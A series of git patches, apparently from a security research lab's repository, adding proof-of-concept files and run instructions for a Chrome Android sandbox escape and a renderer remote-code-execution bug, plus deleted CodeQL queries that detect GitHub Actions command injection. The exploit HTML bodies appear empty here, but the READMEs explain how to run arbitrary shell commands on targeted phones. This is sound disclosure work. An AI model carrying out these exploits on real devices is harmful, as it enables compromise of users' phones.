+Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost: + +``` +python ./copy_mojo_js_bindings.py /path/to/chrome/../out//gen +python -m SimpleHTTPServer +``` + +Then open the page `payment_request_clip.html` from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url. + +If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. If failed, click on the link to reload the page and try again (can't use reload for this one). It shouldn't need too many retries to succeed. diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py new file mode 100644 index 0000000..6dc4aae --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/copy_mojo_js_bindings.py @@ -0,0 +1,20 @@ +#! /usr/bin/python + +import os +import shutil +import sys + +base_path = sys.argv[1] +for path, dirs, files in os.walk(base_path): + for file in files: + if file == 'mojo_bindings.js': + shutil.copyfile(os.path.join(path, file), os.path.join('./', file)) + + if file.endswith('.mojom.js'): + target_path = os.path.join('./', path[len(base_path) + 1:]) + try: + os.makedirs(target_path) + except: + pass + shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file)) + diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html new file mode 100644 index 0000000..188f7a5 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip.html @@ -0,0 +1,192 @@ + + + + + + + reload + + diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html new file mode 100644 index 0000000..9920660 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_clip2.html @@ -0,0 +1,22 @@ + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html new file mode 100644 index 0000000..0147a95 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/payment_request_jam_clip.html @@ -0,0 +1,9 @@ + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch new file mode 100644 index 0000000..1fa90ce --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/sbx.patch @@ -0,0 +1,16 @@ +diff --git a/third_party/blink/renderer/modules/payments/payment_request.cc b/third_party/blink/renderer/modules/payments/payment_request.cc +index b0975c59ddb5..a2d7c273950c 100644 +--- a/third_party/blink/renderer/modules/payments/payment_request.cc ++++ b/third_party/blink/renderer/modules/payments/payment_request.cc +@@ -439,9 +439,9 @@ void StringifyAndParseMethodSpecificData(ExecutionContext& execution_context, + if (supported_method == "basic-card") { + BasicCardHelper::ParseBasiccardData(input, output->supported_networks, + exception_state); +- } else if (supported_method == kSecurePaymentConfirmationMethod && ++ } else if (supported_method == kSecurePaymentConfirmationMethod/* && + RuntimeEnabledFeatures::SecurePaymentConfirmationEnabled( +- &execution_context)) { ++ &execution_context)*/) { + UseCounter::Count(&execution_context, + WebFeature::kSecurePaymentConfirmation); + output->secure_payment_confirmation = From 078652511e414f1b00a4c30597a8673f97c1ab57 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 12 Mar 2021 11:39:12 +0000 Subject: [PATCH 026/140] Update .github/ISSUE_TEMPLATE/bug-slayer.md Co-authored-by: Xavier RENE-CORAIL --- .github/ISSUE_TEMPLATE/bug-slayer.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md index 2300214..15abd8a 100644 --- a/.github/ISSUE_TEMPLATE/bug-slayer.md +++ b/.github/ISSUE_TEMPLATE/bug-slayer.md @@ -9,7 +9,7 @@ assignees: '' ## Query -*Link to pull request with your CodeQL query:* +*OPTIONAL - Link to pull request with your CodeQL query:* Relevant PR: https://github.com/github/codeql/pull/nnnn From 217c4049a50d119097503a785b095f25199db44b Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 15 Mar 2021 19:30:45 +0000 Subject: [PATCH 027/140] Add line about library offsets. --- SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md index b66fc24..8d4a127 100644 --- a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md @@ -13,7 +13,7 @@ symbol_level = 1 blink_symbol_level = 1 ``` -The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer. It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands. From bad40af81145c98139dd9181e920c2c7e9653827 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 16 Mar 2021 16:01:02 +0000 Subject: [PATCH 028/140] Correct firmware versions. --- SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md | 2 +- SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md index 17efd5d..71fea80 100644 --- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md @@ -2,7 +2,7 @@ The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. -The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running. diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md index 8d4a127..af56066 100644 --- a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md @@ -13,7 +13,7 @@ symbol_level = 1 blink_symbol_level = 1 ``` -The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer. +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer. It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands. From 65f05a5bd29237e08b860ab51c8e7c471ea239b3 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 19 Mar 2021 11:55:47 +0000 Subject: [PATCH 029/140] Add CVE-2020-15972 --- .../Chrome/blink/CVE-2020-15972/README.md | 31 ++ .../Chrome/blink/CVE-2020-15972/out2.mp3 | Bin 0 -> 477 bytes .../Chrome/blink/CVE-2020-15972/tear-down.js | 15 + .../blink/CVE-2020-15972/tear_down2.html | 51 ++++ .../CVE-2020-15972/tear_down2_virtual.html | 37 +++ .../tear_down_android_rce_release.html | 279 ++++++++++++++++++ 6 files changed, 413 insertions(+) create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/README.md create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md b/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md new file mode 100644 index 0000000..2d4041d --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md @@ -0,0 +1,31 @@ +## Chrome renderer RCE CVE-2020-15972 + +The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer). This is a bug in Chrome that I reported in September 2020 that is a duplicate of [1115901](https://bugs.chromium.org/p/chromium/issues/detail?id=1115901) and was credited to an anonymous researcher. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-167-chrome) and the Chrome issue that I filed [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1125635). The bug can be used to escape the Chrome sandbox from a compromised renderer. + +The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`), although it affected the stable version 85 of Chrome also: + +``` +target_os = "android" +target_cpu = "arm64" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` +and build the target `chrome_public_apk`. + +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683 and also Pixel 4 with AOSP build ID `aosp_flame-userdebug 10 QQ3A.200805.001`. Both runs reliably, although a clean renderer process is needed to launch the exploit, which would be the case when a link is clicked from a logged in site, such as email or twitter. On Pixel 3a, the heap spray is off by one object, so there is probably some degrees of dependencies on devices or OS. (Pixel 3a runs kernel version 4.9, whereas the other 2 devices run kernel 4.14, although when it failed on Pixel 3 it'll most likely just throw an exception instead of crashing the renderer) It is very unlikely that it will work on emulators without modifications to the heap spray. + +To test, serve the files in this directory from localhost and open `tear_down_android_rce_release.html` with `chrome://inspect/#devices` on the device in a new tab. (or do the following from the host machine, which works on Pixel 4 but not on Galaxy A71: +``` +out//bin/chrome_public_apk run "http://localhost:8000/tear_down_android_rce_release.html" +``` +) + +This is the easiest way to ensure that a new renderer process is used for the content (without having to click on it from a logged in context) It should succeed most of the time. When succeeded, The address of a page whose permissioin is overwritten to `rwx` will be displayed. This can then be verified with `adb`. + +The file `out2.mp3` in this directory is a blank `mp3` file that can be generated using `ffmpeg` with the following command: + +``` +ffmpeg -f lavfi -i anullsrc=r=4000:cl=mono -t 0.00675 -q:a 9 -acodec libmp3lame out2.mp3 +``` diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3 b/SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3 new file mode 100644 index 0000000000000000000000000000000000000000..eaab899fc11c659712b0d7f745f4f90cbea6469c GIT binary patch literal 477 zcmeZtF=k-^0p*b3U{@f`&%nU!lUSB!YN2Ojsb^?l0G5Ri{~uc%fO9?b((-{Epn3*o z1_s6r466u%tAxORLI7kr&~eE?$C;XdI542X;ss$cZurg>{S_umB>n%f#1WuUW)F~h eA4gwTW01!~Nd_QutYPMmtQ(;LWKJ0s%mD!YoTiZg literal 0 HcmV?d00001 diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js new file mode 100644 index 0000000..dbda995 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class AutoProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(5000); + return true + } +} + +registerProcessor('tear-down', AutoProcessor) diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html new file mode 100644 index 0000000..6404832 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html @@ -0,0 +1,51 @@ + + + + + + + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html new file mode 100644 index 0000000..e3c759b --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html @@ -0,0 +1,37 @@ + + + + + + + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html new file mode 100644 index 0000000..c30e406 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html @@ -0,0 +1,279 @@ + + + + + + + From a00759d4f120360c736d9adff8e7a33b2c722ab9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= Date: Fri, 19 Mar 2021 23:21:59 +0200 Subject: [PATCH 030/140] Update links to the merged actions queries --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 0cc0268..b1d530d 100644 --- a/README.md +++ b/README.md @@ -31,8 +31,8 @@ We use it for these main purposes: * C# * [C# Zip Slip demo](CodeQL_Queries/csharp/ZipSlip) * GitHub Actions: - * [pull_request_target with explicit pull request checkout](CodeQL_Queries/actions/pull_request_target.ql) - * [Command injection from user-controlled Actions context](CodeQL_Queries/actions/script_injections.ql) + * [pull_request_target with explicit pull request checkout](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql) + * [Command injection from user-controlled Actions context](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql) ### Videos From 0ce37ee36d9e1b3a6d62d1a7ebcb6e91d58e58b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= Date: Fri, 19 Mar 2021 23:30:55 +0200 Subject: [PATCH 031/140] deleted outdated ql files --- CodeQL_Queries/actions/README.md | 4 +- CodeQL_Queries/actions/pull_request_target.ql | 342 ----------------- CodeQL_Queries/actions/script_injections.ql | 353 ------------------ 3 files changed, 2 insertions(+), 697 deletions(-) delete mode 100644 CodeQL_Queries/actions/pull_request_target.ql delete mode 100644 CodeQL_Queries/actions/script_injections.ql diff --git a/CodeQL_Queries/actions/README.md b/CodeQL_Queries/actions/README.md index 8e44a1a..675a2d2 100644 --- a/CodeQL_Queries/actions/README.md +++ b/CodeQL_Queries/actions/README.md @@ -1,2 +1,2 @@ -Created by @adityasharad, extended by @jarlob. -Read more on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input). +The querie were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094). +Read more about the research on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input). diff --git a/CodeQL_Queries/actions/pull_request_target.ql b/CodeQL_Queries/actions/pull_request_target.ql deleted file mode 100644 index 28081dd..0000000 --- a/CodeQL_Queries/actions/pull_request_target.ql +++ /dev/null @@ -1,342 +0,0 @@ -/** - * @name pull_request_target with explicit pull request checkout - * @description Workflows triggered on `pull_request_target` have read/write tokens for the base repository and the access to secrets. - * By explicitly checking out and running the build script from a fork the untrusted code is running in an environment - * that is able to push to the base repository and to access secrets. - * @id javascript/actions/pull_request_target - * @kind problem - * @problem.severity warning - */ - -import javascript - -/** - * Libraries for modelling GitHub Actions workflow files written in YAML. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions. - */ -module Actions { - /** A YAML node in a GitHub Actions workflow file. */ - class Node extends YAMLNode { - Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") } - } - - /** - * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions. - */ - class Workflow extends Node, YAMLDocument, YAMLMapping { - /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */ - YAMLMapping getJobs() { result = this.lookup("jobs") } - - /** Gets the name of the workflow file. */ - string getFileName() { result = this.getFile().getBaseName() } - - /** Gets the `on:` in this workflow. */ - On getOn() { result = this.lookup("on") } - - /** Gets the job within this workflow with the given job ID. */ - Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId } - } - - /** - * An Actions job within a workflow. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs. - */ - class Job extends YAMLNode, YAMLMapping { - string jobId; - Workflow workflow; - - Job() { this = workflow.getJobs().lookup(jobId) } - - /** - * Gets the ID of this job, as a string. - * This is the job's key within the `jobs` mapping. - */ - string getId() { result = jobId } - - /** - * Gets the ID of this job, as a YAML scalar node. - * This is the job's key within the `jobs` mapping. - */ - YAMLString getIdNode() { workflow.getJobs().maps(result, this) } - - /** Gets the human-readable name of this job, if any, as a string. */ - string getName() { result = this.getNameNode().getValue() } - - /** Gets the human-readable name of this job, if any, as a YAML scalar node. */ - YAMLString getNameNode() { result = this.lookup("name") } - - /** Gets the step at the given index within this job. */ - Step getStep(int index) { result.getJob() = this and result.getIndex() = index } - - /** Gets the sequence of `steps` within this job. */ - YAMLSequence getSteps() { result = this.lookup("steps") } - - /** Gets the workflow this job belongs to. */ - Workflow getWorkflow() { result = workflow } - - /** Gets the value of the `if` field in this job, if any. */ - JobIf getIf() { result.getJob() = this } - } - - class JobIf extends YAMLNode, YAMLScalar { - Job job; - - JobIf() { - job.lookup("if") = this - } - - /** Gets the step this field belongs to. */ - Job getJob() { result = job } - } - - /** - * A step within an Actions job. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps. - */ - class Step extends YAMLNode, YAMLMapping { - int index; - Job job; - - Step() { this = job.getSteps().getElement(index) } - - /** Gets the 0-based position of this step within the sequence of `steps`. */ - int getIndex() { result = index } - - /** Gets the job this step belongs to. */ - Job getJob() { result = job } - - /** Gets the value of the `uses` field in this step, if any. */ - Uses getUses() { result.getStep() = this } - - /** Gets the value of the `run` field in this step, if any. */ - Run getRun() { result.getStep() = this } - - /** Gets the value of the `if` field in this step, if any. */ - StepIf getIf() { result.getStep() = this } - } - - class StepIf extends YAMLNode, YAMLScalar { - Step step; - - StepIf() { - step.lookup("if") = this - } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - } - - /** - * A `uses` field within an Actions job step, which references an action as a reusable unit of code. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses. - * - * For example: - * ``` - * uses: actions/checkout@v2 - * ``` - * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`. - */ - class Uses extends YAMLNode, YAMLScalar { - Step step; - /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */ - string repositoryOwner; - /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */ - string repositoryName; - /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */ - string version; - - Uses() { - step.lookup("uses") = this and - // Simple regular expression to split up an Action reference `owner/repo@version` into its components. - exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" | - repositoryOwner = this.getValue().regexpCapture(regexp, 1) and - repositoryName = this.getValue().regexpCapture(regexp, 2) and - version = this.getValue().regexpCapture(regexp, 3) - ) - } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - - /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */ - string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName } - - /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */ - string getVersion() { result = version } - } - - class MappingOrSequenceOrScalar extends YAMLNode { - MappingOrSequenceOrScalar() { - this instanceof YAMLMapping - or - this instanceof YAMLSequence - or - this instanceof YAMLScalar - } - - YAMLNode getNode(string name) { - exists(YAMLMapping mapping | - mapping = this and - result = mapping.lookup(name) - ) - or - exists(YAMLSequence sequence, YAMLNode node | - sequence = this and - sequence.getAChildNode() = node and - node.eval().toString() = name and - result = node - ) - or - exists(YAMLScalar scalar | - scalar = this and - scalar.getValue() = name and - result = scalar - ) - } - - int getElementCount() { - exists(YAMLMapping mapping | - mapping = this and - result = mapping.getNumChild() / 2 - ) - or - exists(YAMLSequence sequence | - sequence = this and - result = sequence.getNumChild() - ) - or - exists(YAMLScalar scalar | - scalar = this and - result = 1 - ) - } - } - - class On extends YAMLNode, MappingOrSequenceOrScalar { - Workflow workflow; - - On() { workflow.lookup("on") = this } - - Workflow getWorkflow() { result = workflow } - } - - class With extends YAMLNode, YAMLMapping { - Step step; - - With() { step.lookup("with") = this } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - } - - class Ref extends YAMLNode, YAMLString { - With with; - - Ref() { with.lookup("ref") = this } - - With getWith() { result = with } - } - - /** - * A `run` field within an Actions job step, which runs command-line programs using an operating system shell. - * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun. - */ - class Run extends YAMLNode, YAMLString { - Step step; - - Run() { step.lookup("run") = this } - - /** Gets the step that executes this `run` command. */ - Step getStep() { result = step } - - /** - * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command. - * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions. - */ - string getAReferencedExpression() { - // We use `regexpFind` to obtain *all* matches of `${{...}}`, - // not just the last (greedy match) or first (reluctant match). - // TODO: This only handles expression strings that refer to contexts. - // It does not handle operators within the expression. - result = - this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _) - } - } -} - -// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr. -/** - * Holds if `child` is the qualified name of a GitHub Actions context nested as - * a property of the GitHub Actions context with qualified name `parent`. - * For example, `github.event.issue.body` is a child of `github.event.issue`. - */ -bindingset[child] -predicate nestedContext(string parent, string child) { - parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1) -} - -bindingset[context] -private predicate isExternalUserControlledIssue(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledPullRequest(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b") -} - -bindingset[context] -private predicate isExternalUserControlledReview(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledComment(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledGollum(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b") -} - -/** - * Holds if `context` is a GitHub Actions context object containing values - * that may be controlled by an external user with public access to the repository. - */ -bindingset[context] -private predicate isExternalUserControlledCommit(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b") -} - -from Actions::Ref ref, Actions::Uses uses, Actions::Step step, Actions::Job job, - ProbablePullRequestTarget pullRequestTarget -where - pullRequestTarget.getWorkflow() = job.getWorkflow() - and uses.getStep() = step - and ref.getWith().getStep() = step - and step.getJob() = job - and uses.getGitHubRepository() = "actions/checkout" - and ( - ref.getValue().matches("%github.event.pull_request.head.ref%") or - ref.getValue().matches("%github.event.pull_request.head.sha%") or - ref.getValue().matches("%github.event.pull_request.number%") or - ref.getValue().matches("%github.event.number%") or - ref.getValue().matches("%github.head_ref%") - ) - and step instanceof ProbableStep - and job instanceof ProbableJob -select step, "Potential unsafe checkout of untrusted pull request on `pull_request_target`" diff --git a/CodeQL_Queries/actions/script_injections.ql b/CodeQL_Queries/actions/script_injections.ql deleted file mode 100644 index bf67c40..0000000 --- a/CodeQL_Queries/actions/script_injections.ql +++ /dev/null @@ -1,353 +0,0 @@ -/** - * @name Command injection from user-controlled Actions context - * @description Using user-controlled GitHub Actions contexts in a command line may allow a malicious - * user to change the meaning of the command. - * @id javascript/actions/command-injection - * @kind problem - * @problem.severity error - */ - -import javascript - -/** - * Libraries for modelling GitHub Actions workflow files written in YAML. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions. - */ -module Actions { - /** A YAML node in a GitHub Actions workflow file. */ - class Node extends YAMLNode { - Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") } - } - - /** - * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions. - */ - class Workflow extends Node, YAMLDocument, YAMLMapping { - /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */ - YAMLMapping getJobs() { result = this.lookup("jobs") } - - /** Gets the name of the workflow file. */ - string getFileName() { result = this.getFile().getBaseName() } - - /** Gets the `on:` in this workflow. */ - On getOn() { result = this.lookup("on") } - - /** Gets the job within this workflow with the given job ID. */ - Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId } - } - - /** - * An Actions job within a workflow. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs. - */ - class Job extends YAMLNode, YAMLMapping { - string jobId; - Workflow workflow; - - Job() { this = 